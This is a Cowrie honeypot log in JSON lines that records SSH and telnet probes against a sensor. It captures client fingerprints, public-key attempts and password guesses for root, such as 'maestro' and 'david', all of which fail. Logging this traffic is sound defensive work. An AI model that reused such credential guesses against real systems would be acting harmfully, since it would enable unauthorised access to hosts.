{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:37.302990Z","src_ip":"46.19.67.181","session":"c0ad1034aad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.99.235","src_port":34650,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c771a6b1a7a","protocol":"ssh","message":"New connection: 51.79.99.235:34650 (10.17.0.5:22) [session: 5c771a6b1a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.277828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.282639Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.323411Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:ae:9e:0d:30:04:ce:4b:18:d3:7e:ba:aa:2c:18:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt50OiMfNOa3+kg+dfERMM5eGTWZ1Ndq2hAvpeGazKl6rjydQUFduWRUspnxn8lCFFM3B/pb9KdBeA08WWSzLSEtZXHts2mi2mVfQCX5aepJCnOm5cO9FQT6Q1IRV5JzvxbJWOsRkpEvYPuOrtSBlHKfBEVXLh3HEHY2mJsBeKsb5MBjKH6a1OXELCzekhfHyiUxVJQxHz8lOBG6gUzB4P5tT5fLqcg2eIfslLyYOzvDDhlyP3nW4KTqzK5izj1bYXZ/GEbpnb25kGIGtu5ICNo98pHmU1ra0L5+UNgvrBIDnRhplb4F6ejw8Tzz6cPIc7EQ4Wa6d7ltsALXE/ykbF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:ae:9e:0d:30:04:ce:4b:18:d3:7e:ba:aa:2c:18:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.395603Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:ae:9e:0d:30:04:ce:4b:18:d3:7e:ba:aa:2c:18:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt50OiMfNOa3+kg+dfERMM5eGTWZ1Ndq2hAvpeGazKl6rjydQUFduWRUspnxn8lCFFM3B/pb9KdBeA08WWSzLSEtZXHts2mi2mVfQCX5aepJCnOm5cO9FQT6Q1IRV5JzvxbJWOsRkpEvYPuOrtSBlHKfBEVXLh3HEHY2mJsBeKsb5MBjKH6a1OXELCzekhfHyiUxVJQxHz8lOBG6gUzB4P5tT5fLqcg2eIfslLyYOzvDDhlyP3nW4KTqzK5izj1bYXZ/GEbpnb25kGIGtu5ICNo98pHmU1ra0L5+UNgvrBIDnRhplb4F6ejw8Tzz6cPIc7EQ4Wa6d7ltsALXE/ykbF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.399711Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:8b:6d:47:b6:9d:d5:02:cd:1a:a8:bd:9c:52:06:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDINPn7EXBpfQCkfwABkw+GunzV0vTK2WI3OiaPaWP0xmpyHfyEat3gexT07RSeGy9qSD0jE008arTEPYwbLL9QRlc11qMHr43On9D9rEBWBGxmeTduqsoryn07U7kWp5n5aIr3Swk7edLUjYK76p18tdHseG3oUxY5N6/DsGWKAK2zs319IxxZ+0IBMvBF/5Bfw7aRljYYxR3jJHv97YoOX+Il05Y3ZoBI+qWGsFQkET1qbd2CKPFfezUFvmIskSjfqwP+3yjd8NCA28gqvXDpzbLCamwsnzvHBmo6kLN5gtrNVqRbX3APwcT7x2GbKf829CoS2GWxQi2X/jxVUPZvwivNV8n9uFySTx2SD1uQx1Z5b8F+T3zt8gxEoKigXpFm4RgL3CMYjqFuba4DekCACLUU8+IPrQpx9G6zdmkxI1Ocn3D0+Yw/2VObyu6kEtrJr1TiIT35zO4E4LBC61UsUelyBeXU1LTgqCuIi4wDeXcYk6xS2g+RQ512mL6/lkC1SZbbRycwDwLsMC8Or3tm1FDSmO//zrDE20Hsf13qr1g9wEZ/o4cy0RG0pZfCqurqKokseprT9k7Hh1UCMAWwsJYkS2iL3Iad61k75j6IyZDHCZzLPND9DPJrsWIrEte5YkZvhWAM1ccrAqN3IGs1cv5EkVp//Ex0PDMLLlacQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:8b:6d:47:b6:9d:d5:02:cd:1a:a8:bd:9c:52:06:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.419973Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:8b:6d:47:b6:9d:d5:02:cd:1a:a8:bd:9c:52:06:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDINPn7EXBpfQCkfwABkw+GunzV0vTK2WI3OiaPaWP0xmpyHfyEat3gexT07RSeGy9qSD0jE008arTEPYwbLL9QRlc11qMHr43On9D9rEBWBGxmeTduqsoryn07U7kWp5n5aIr3Swk7edLUjYK76p18tdHseG3oUxY5N6/DsGWKAK2zs319IxxZ+0IBMvBF/5Bfw7aRljYYxR3jJHv97YoOX+Il05Y3ZoBI+qWGsFQkET1qbd2CKPFfezUFvmIskSjfqwP+3yjd8NCA28gqvXDpzbLCamwsnzvHBmo6kLN5gtrNVqRbX3APwcT7x2GbKf829CoS2GWxQi2X/jxVUPZvwivNV8n9uFySTx2SD1uQx1Z5b8F+T3zt8gxEoKigXpFm4RgL3CMYjqFuba4DekCACLUU8+IPrQpx9G6zdmkxI1Ocn3D0+Yw/2VObyu6kEtrJr1TiIT35zO4E4LBC61UsUelyBeXU1LTgqCuIi4wDeXcYk6xS2g+RQ512mL6/lkC1SZbbRycwDwLsMC8Or3tm1FDSmO//zrDE20Hsf13qr1g9wEZ/o4cy0RG0pZfCqurqKokseprT9k7Hh1UCMAWwsJYkS2iL3Iad61k75j6IyZDHCZzLPND9DPJrsWIrEte5YkZvhWAM1ccrAqN3IGs1cv5EkVp//Ex0PDMLLlacQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.423720Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:79:67:4f:c1:ff:e6:48:e1:9d:c2:25:a0:38:01:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzrO+IVuzd5EX6MGvSAUN+z1/6ZKEqXoTkhbpu+Ms3P+m02jeZgsTOSMVh3kXLrE4AShJKdaic1n6nEdwLDRvvT5txcyilvXPCceoxjuz6lHe5yfIF7mHQJQp2S5oVYIkw7W13XpL74BwQP46HQbzX8OlWJK3RhvHzoHzIEu7vFFKZ6v4wWrDDJJWpFkUfP4YfAlN2piHzNFDFcSYGd03Ut5C7OdaRPaC0hh97Biwga9AAupZ1/hXNAbSveLZHgwgRlCVmouJ2lSVyJVqqJNMZdD59VDP3olZFWTUueR7phxNDA0xoOfpPrDKD4ezjRqGEwdswZt1NNl+tPNwIct3naKynKTiU6G9AzmRY4H69a1wAREqh1T1ba4NiOnF40jGsS3fvmrd2izIePRZ5RY0lYznIjCtaV9F0PFhA4PgxzoFmfSVZTTZGrmfmmuWrNRcRrrRHuVFN/+sN1NuQvraD9B+0WuiJvonXF3cRAnKTOblYDwlId1O+Bnt/u7NNKStU/o6eXn1jMZaE7uGW2uS0d3Ai+xUtcyE5l8R9o7oxRHecppd/f2Ht4cYJRxVE4h2kuqtUgJohBlA8yaWbRxbr+cYrcVfRCAaFaUfghxHH/qDPVECsAVrY1d/iOiINIpYU4/tOVuVrpjevts0hhiDRhOFka2P008cLXG6nsP01kw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:79:67:4f:c1:ff:e6:48:e1:9d:c2:25:a0:38:01:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.444272Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:79:67:4f:c1:ff:e6:48:e1:9d:c2:25:a0:38:01:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzrO+IVuzd5EX6MGvSAUN+z1/6ZKEqXoTkhbpu+Ms3P+m02jeZgsTOSMVh3kXLrE4AShJKdaic1n6nEdwLDRvvT5txcyilvXPCceoxjuz6lHe5yfIF7mHQJQp2S5oVYIkw7W13XpL74BwQP46HQbzX8OlWJK3RhvHzoHzIEu7vFFKZ6v4wWrDDJJWpFkUfP4YfAlN2piHzNFDFcSYGd03Ut5C7OdaRPaC0hh97Biwga9AAupZ1/hXNAbSveLZHgwgRlCVmouJ2lSVyJVqqJNMZdD59VDP3olZFWTUueR7phxNDA0xoOfpPrDKD4ezjRqGEwdswZt1NNl+tPNwIct3naKynKTiU6G9AzmRY4H69a1wAREqh1T1ba4NiOnF40jGsS3fvmrd2izIePRZ5RY0lYznIjCtaV9F0PFhA4PgxzoFmfSVZTTZGrmfmmuWrNRcRrrRHuVFN/+sN1NuQvraD9B+0WuiJvonXF3cRAnKTOblYDwlId1O+Bnt/u7NNKStU/o6eXn1jMZaE7uGW2uS0d3Ai+xUtcyE5l8R9o7oxRHecppd/f2Ht4cYJRxVE4h2kuqtUgJohBlA8yaWbRxbr+cYrcVfRCAaFaUfghxHH/qDPVECsAVrY1d/iOiINIpYU4/tOVuVrpjevts0hhiDRhOFka2P008cLXG6nsP01kw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.448943Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:2d:6a:84:6c:0e:c6:53:68:2b:29:b8:ab:08:d5:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhc15ltJkCqmbXki6Y/j6Z4oo/Z5Tc25s4JZ0CSp2Clg6T1JprcPa0sRg4dL8fQOqO1l0Nt7vrfs/dz6qggFxqXpnGei9VTn/Muwd5oiKa5d/mvtx19/XIoScXxBeVb1dS3n0bJcFee9/1uWGs59iCn7iw7GRc8++1qK6uQ+k1Cie86V+XYmx1wGutGCUUsGGJQVCwFtVJf3Acyicj7AYQtHyPw7j/Wkrm74z3J9+ZFEjAvDDFmb/veK0iREh3X+GI0T7dwXMtoy277cxDBJa3cLpABnPJ1QJnbyUIeEKjzacC0wPEcrnGznBxWONAlxd8TiwuEC5kFbXiFy7h+mqJ1+VBK+m4AoNRQtJHTE1t0GWTdMXucIaTSfas8igN4EKmjCX+TOXeXNpJQTJnS/sQ+w7D5OHkqzy2/wMubedSrbzwPEQJQEqHBAoEZh7mUI7wKaBnImbZFvfjY/LZshVgp3xEQOLZpEFIglmp74pK/2pnWfFsbqvbQlqQKa5OdiNvbvcCezknnLRkS+Ey7V/TxhHBsom/tFF0SxoCBX+SLCJWWmcdlPU5WcC2Y8ndPx2f69j273AKFsbDXPZwVg2crQguLE0t6FOF4ReE6Ipbdh162k17RD61eIMf0zgVqfb1xT30yJGEIxGjbKrCymCj9p3GjScTHMOpYvrRZqJSvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:2d:6a:84:6c:0e:c6:53:68:2b:29:b8:ab:08:d5:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.468444Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:2d:6a:84:6c:0e:c6:53:68:2b:29:b8:ab:08:d5:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhc15ltJkCqmbXki6Y/j6Z4oo/Z5Tc25s4JZ0CSp2Clg6T1JprcPa0sRg4dL8fQOqO1l0Nt7vrfs/dz6qggFxqXpnGei9VTn/Muwd5oiKa5d/mvtx19/XIoScXxBeVb1dS3n0bJcFee9/1uWGs59iCn7iw7GRc8++1qK6uQ+k1Cie86V+XYmx1wGutGCUUsGGJQVCwFtVJf3Acyicj7AYQtHyPw7j/Wkrm74z3J9+ZFEjAvDDFmb/veK0iREh3X+GI0T7dwXMtoy277cxDBJa3cLpABnPJ1QJnbyUIeEKjzacC0wPEcrnGznBxWONAlxd8TiwuEC5kFbXiFy7h+mqJ1+VBK+m4AoNRQtJHTE1t0GWTdMXucIaTSfas8igN4EKmjCX+TOXeXNpJQTJnS/sQ+w7D5OHkqzy2/wMubedSrbzwPEQJQEqHBAoEZh7mUI7wKaBnImbZFvfjY/LZshVgp3xEQOLZpEFIglmp74pK/2pnWfFsbqvbQlqQKa5OdiNvbvcCezknnLRkS+Ey7V/TxhHBsom/tFF0SxoCBX+SLCJWWmcdlPU5WcC2Y8ndPx2f69j273AKFsbDXPZwVg2crQguLE0t6FOF4ReE6Ipbdh162k17RD61eIMf0zgVqfb1xT30yJGEIxGjbKrCymCj9p3GjScTHMOpYvrRZqJSvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.472363Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:5a:37:9e:51:4d:3a:5e:6d:d9:b0:52:b2:39:5f:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjsJZOB0azVbVgLX3gPFyVKJeL/N0rq9aJNKdm1zQ6RfmIpSzIhhcVe6cQ2WtBnOHZQp2eum1++bTqKFqduG82HLkRmhUx0sKYw/KQQZHRVDDravyO/KXthl81ruOE9cMbPtN0sl7vp3/a9R2Lb4YIaLOIqHYD9i98L/yihHKXcl5QEBVms5omQ3ORTgRZTuN6WzMzK4mrj0ITX9HT5BARjCq3rY7fJR1YXA4V909XVXZwYut8L4iqSrW9i0DbIiZT/dBeGnfkTBIyc5DMJQVbOKtKWRL6vW1lnSheVvme7xRGlTFlBu70y5U4yw+KK3IuLp8xI7ly201aeUFFK4ZYL5iDk8gaqWrh13ystZ81p1PtpXI25UNWB6VsgAMjDaDdEwYwS4JJkSu34/7mg2OXDv7FkhzFVMlzpjK4uxNw7+uRCSD3jCwyPaLx11mD4Vs3JY80rBu9FCqKhrvcJISaSDYOWoCbLtzz9hG6xALYKIS27el2FyLXKJcrNiFJ4pU9+3Ntqpi8JM+1TrGDfM9ZMVm/cLpkP7LkTV4eIJ0K5LJ78naNP1MDrLrktvnmG43oVeYWM8ViBxVAAbdORRE1G20QLlaScFSeVXsUZ3RKD3lwDG1wmSC4u1s1IIobEppTUnz/2/xUAIxAaPHI9KqUaJRYKV952/rut0YxLdck/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:5a:37:9e:51:4d:3a:5e:6d:d9:b0:52:b2:39:5f:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.492371Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:5a:37:9e:51:4d:3a:5e:6d:d9:b0:52:b2:39:5f:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjsJZOB0azVbVgLX3gPFyVKJeL/N0rq9aJNKdm1zQ6RfmIpSzIhhcVe6cQ2WtBnOHZQp2eum1++bTqKFqduG82HLkRmhUx0sKYw/KQQZHRVDDravyO/KXthl81ruOE9cMbPtN0sl7vp3/a9R2Lb4YIaLOIqHYD9i98L/yihHKXcl5QEBVms5omQ3ORTgRZTuN6WzMzK4mrj0ITX9HT5BARjCq3rY7fJR1YXA4V909XVXZwYut8L4iqSrW9i0DbIiZT/dBeGnfkTBIyc5DMJQVbOKtKWRL6vW1lnSheVvme7xRGlTFlBu70y5U4yw+KK3IuLp8xI7ly201aeUFFK4ZYL5iDk8gaqWrh13ystZ81p1PtpXI25UNWB6VsgAMjDaDdEwYwS4JJkSu34/7mg2OXDv7FkhzFVMlzpjK4uxNw7+uRCSD3jCwyPaLx11mD4Vs3JY80rBu9FCqKhrvcJISaSDYOWoCbLtzz9hG6xALYKIS27el2FyLXKJcrNiFJ4pU9+3Ntqpi8JM+1TrGDfM9ZMVm/cLpkP7LkTV4eIJ0K5LJ78naNP1MDrLrktvnmG43oVeYWM8ViBxVAAbdORRE1G20QLlaScFSeVXsUZ3RKD3lwDG1wmSC4u1s1IIobEppTUnz/2/xUAIxAaPHI9KqUaJRYKV952/rut0YxLdck/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.496368Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:54.516309Z","src_ip":"51.79.99.235","session":"5c771a6b1a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":16846,"dst_ip":"10.17.0.5","dst_port":22,"session":"016d4c03e1c3","protocol":"ssh","message":"New connection: 38.93.206.2:16846 (10.17.0.5:22) [session: 016d4c03e1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:22.691227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:22.700436Z","src_ip":"38.93.206.2","session":"016d4c03e1c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:22.751646Z","src_ip":"38.93.206.2","session":"016d4c03e1c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maestro","message":"login attempt [root/maestro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:22.909797Z","src_ip":"38.93.206.2","session":"016d4c03e1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:23.965712Z","src_ip":"38.93.206.2","session":"016d4c03e1c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51464,"dst_ip":"10.17.0.5","dst_port":23,"session":"c345610eacea","protocol":"telnet","message":"New connection: 192.119.13.58:51464 (10.17.0.5:23) [session: c345610eacea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:30.468894Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39030,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d40c118fde8","protocol":"ssh","message":"New connection: 87.251.79.125:39030 (159.203.135.109:22) [session: 7d40c118fde8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:46.969908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:46.979628Z","src_ip":"87.251.79.125","session":"7d40c118fde8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:47.053269Z","src_ip":"87.251.79.125","session":"7d40c118fde8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"david","message":"login attempt [root/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:47.273602Z","src_ip":"87.251.79.125","session":"7d40c118fde8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:30:48.349889Z","src_ip":"87.251.79.125","session":"7d40c118fde8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.37087106704712,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:18.839589Z","src_ip":"192.119.13.58","session":"c345610eacea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.200.99.200","src_port":53906,"dst_ip":"159.203.135.109","dst_port":23,"session":"300a1887b363","protocol":"telnet","message":"New connection: 123.200.99.200:53906 (159.203.135.109:23) [session: 300a1887b363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:30.458599Z"}
{"eventid":"cowrie.session.closed","duration":13.314690113067627,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:43.773159Z","src_ip":"123.200.99.200","session":"300a1887b363","protocol":"telnet"}
